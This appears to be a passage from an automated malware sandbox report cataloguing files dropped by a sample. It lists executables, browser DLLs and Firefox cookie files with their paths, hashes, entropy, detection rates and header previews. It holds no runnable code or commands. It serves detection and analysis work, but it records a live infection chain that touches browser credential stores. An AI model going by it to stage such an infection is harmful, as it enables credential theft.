Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3247616
Entropy (8bit):	6.6200456702078005
Encrypted:	false
SSDEEP:	49152:FS4P1wimWGQfmnqvjtVd1mlQbtR/1rKNZzMNL4NStU:FS4d/vUqLtVd1CiR9mxzNSy
MD5:	AF61DF2E64CC0A9FB7AF4C3DB55F6CD9
SHA1:	466D26398628EEF7B53F0F3B5DD9EC29A3D526B5
SHA-256:	C3C2024E7FE56A636144BA8541554E46F8C558D92620763CC0B382D9860E13C9
SHA-512:	A35B730FAA70DC371A4C50DB229A18D4527BA7195618E8732A5D6E4E9B7E2CDE9327EE4BDC3970D643386C244DFB54C9550355D0DE01E093354A350FC81CA59D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............1...........@...........................1.....\]2...@.................................T...h.......@........................................................................................................... . ............................@....rsrc...@...........................@....idata ............................@...haojiwdb..+.......+.................@...htquzmvw......1......h1.............@....taggant.0....1.."...l1.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1820160
Entropy (8bit):	7.944863748243677
Encrypted:	false
SSDEEP:	49152:X/zAGUUSRe3Um44UutIrylIpJLmX3HEA0qCMh:X/sNmPTCLkEA02
MD5:	277C62F3813525889D2AE9A5562817B3
SHA1:	ED9E5ED56898048706A886B691746016C6627E4B
SHA-256:	BD1ADA988E922B8954C930563166CEFCEB60AE1C15868FD2A6D3E20EC8FB8E70
SHA-512:	AA2992E55E985DFF156C683AC2A6AB3E42C9BE810A4F6992EF3F5907F353E0BDF2388B06FC6C32EDE7AB6A1352F53FEF21EF8867520EDB242870C199289F01AE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......i...........@.......................... j.....?.....@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... .....$......t..............@...kntikdlf.0....O.....v..............@...xdprgvya......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3247616
Entropy (8bit):	6.6200456702078005
Encrypted:	false
SSDEEP:	49152:FS4P1wimWGQfmnqvjtVd1mlQbtR/1rKNZzMNL4NStU:FS4d/vUqLtVd1CiR9mxzNSy
MD5:	AF61DF2E64CC0A9FB7AF4C3DB55F6CD9
SHA1:	466D26398628EEF7B53F0F3B5DD9EC29A3D526B5
SHA-256:	C3C2024E7FE56A636144BA8541554E46F8C558D92620763CC0B382D9860E13C9
SHA-512:	A35B730FAA70DC371A4C50DB229A18D4527BA7195618E8732A5D6E4E9B7E2CDE9327EE4BDC3970D643386C244DFB54C9550355D0DE01E093354A350FC81CA59D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............1...........@...........................1.....\]2...@.................................T...h.......@........................................................................................................... . ............................@....rsrc...@...........................@....idata ............................@...haojiwdb..+.......+.................@...htquzmvw......1......h1.............@....taggant.0....1.."...l1.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1820160
Entropy (8bit):	7.944863748243677
Encrypted:	false
SSDEEP:	49152:X/zAGUUSRe3Um44UutIrylIpJLmX3HEA0qCMh:X/sNmPTCLkEA02
MD5:	277C62F3813525889D2AE9A5562817B3
SHA1:	ED9E5ED56898048706A886B691746016C6627E4B
SHA-256:	BD1ADA988E922B8954C930563166CEFCEB60AE1C15868FD2A6D3E20EC8FB8E70
SHA-512:	AA2992E55E985DFF156C683AC2A6AB3E42C9BE810A4F6992EF3F5907F353E0BDF2388B06FC6C32EDE7AB6A1352F53FEF21EF8867520EDB242870C199289F01AE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......i...........@.......................... j.....?.....@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... .....$......t..............@...kntikdlf.0....O.....v..............@...xdprgvya......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2774016
Entropy (8bit):	6.483792784873478
Encrypted:	false
SSDEEP:	49152:C+6SYZWw4qr6eW60f7CBOA/dwtfNm6aDUj5WTkELhW:/6SYZWw4q2RmoA0fla4FSs
MD5:	0EA680C4AA4B4BD15981D154A2554E69
SHA1:	4A44C9836256AAFE9C67791712B3A9EFBE4A5D85
SHA-256:	3838F00F3E012C02B5180BE4323D094E48EA96A65DC3241821879B74A396E1CB
SHA-512:	AB8F987FDDB424BCF9551A75F39F74BB2AB5688A592A4ECB2653A179F6164C4F99692124EC02DC8E7CC6638D9C4222E8BE2041D309C97671917D3E74C4F3211E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ........................+..........`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...jnqrnwwi.........)..:..............@...fifesqlp. ..........,.............@....taggant.@......"...2*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\252940de-3261-45a4-9b4f-1215c431a309.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	86206
Entropy (8bit):	7.872864043660402
Encrypted:	false
SSDEEP:	1536:7kKtlntxI0QCloWndNfoTFfRlbXJjZHcitE5Oa+TFMflqibKCRABXqTk0An:LtlntxI0jRnnf4pTz8IayMaCRABl5
MD5:	A16A4641261997B7B3B0A085AD4D9540
SHA1:	2C68FBF15B53655C88F14E371202D14E19D2E850
SHA-256:	ED91D57EAA64C7E65ABCCCC1297494D3CF93EB0E4A8406A1D5888A6997A825FE
SHA-512:	A35FB46FCD796C6BF21E1B936E3B0CFA4C6370529B0AF184BB8CEBCDA624AC0BBBC3E397D6E37DF825D9C2215F40942C30EC06CBFB978FE8721F6A4F09137D98
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\a39e4585-315f-48e6-96fe-8cde51bea2e4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsECBGHCGCBK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3194368
Entropy (8bit):	6.685494768277536
Encrypted:	false
SSDEEP:	49152:g44HxOiD33zk2gTwkkEAKMFrkYzYuwaNEH1yfjKXBRDwa:g4TiD33zk2gTwkkz5rdzvUVy7KxRDF
MD5:	0EA572534507BB08D80B0A5C07F511D9
SHA1:	4E8B5A839B5BD6FE65A45028D63AAC6AFFB3B32C
SHA-256:	2935680BF092B759889013E387AAB450A7650E1FCF9AA977DD60337BE81E8163
SHA-512:	84C807B466DFEB9B791B468948CB0ECA36013BE4C5BA291381CC8EC04671BD637C25F743532218A59B92FA8B494C663B94BA6FB9B962B9B13ABD0B85CA8F0C5E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................1.......1...@.................................W...k...........................d.0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...xgavsnrb..........................@...dcsjrelb......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.391623420386735
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0zPu5s90iiK5M:JIVuwEw5MUFZLBQLtRMM
MD5:	9370BF238730891BA2C3133970F2BCEF
SHA1:	1B2E7E665450156F0A222BF11556055878E35B05
SHA-256:	0F2DA17EB42DB50E066F0176EFE73D983ABFF0BF88A92AEF8A15AFA4B350973C
SHA-512:	40768CCB2195CC5B52AAA4E1CD17D3CE6D9711E1828654B9AD49D3EF7FA870FDD7830331F15FD9E2C101F57FA38A6E11F66108957F9A2DBDD0F76A521EBCD3F2
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\fa9e83a7-c46e-4a2d-aa46-32081f3b5f79.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1237928049\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1237928049\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1237928049\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1237928049\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1237928049\fa9e83a7-c46e-4a2d-aa46-32081f3b5f79.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
